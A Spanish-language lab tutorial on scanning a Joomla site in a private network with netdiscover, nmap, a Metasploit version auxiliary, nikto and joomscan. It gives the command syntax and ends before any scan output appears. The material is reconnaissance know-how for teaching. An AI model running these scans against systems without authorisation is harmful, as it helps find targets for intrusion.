Antes que nada, comentar que esta capsula se ha realizado en máquinas internas de nuestro laboratorio y simplemente con afán de aprendizaje y experimentación.

¡Empecemos!

Primero que nada, vamos a rastrear dentro de nuestra red privada donde está ubicado nuestro Joomla objetivo y para ello utilizamos los comandos netdiscover y nmap.

A través de meta exploid vamos a buscar un auxiliar que nos permita conocer la versión de Joomla que vamos a analizar. Utilizaremos el siguiente auxiliar:

use auxiliary/scanner/http/joomla_version

También nos va a servir conocer las posibles vulnerabilidades que podemos encontrar en el servidor web que hospeda el Joomla. Para ello vamos a utilizar una herramienta denominada nikto y esta es la sintaxis del comando a ejecutar:

nickto -h <ip> -F html -output web_server_nikto.html

Comprobamos que ambas herramientas devuelven la misma versión.

Una vez conocida la dirección ip del servidor y que la versión del entorno web es un Joomla nos dirigimos al navegador web para comprobar que se trata de un Joomla. En la barra de direcciones escribimos:

http://midominio/administrator

¡Efectivamente es un Joomla!

Una vez realizados estos pasos utilizaremos la herramienta joomscan que nos lanzará por consola todas las vulnerabilidades de la versión actual de Joomla que tenemos en marcha a través de Fingerprinting.

joomscan -u http://midominio

Esta es la salida de pantalla del análisis de vulnerabilidades:
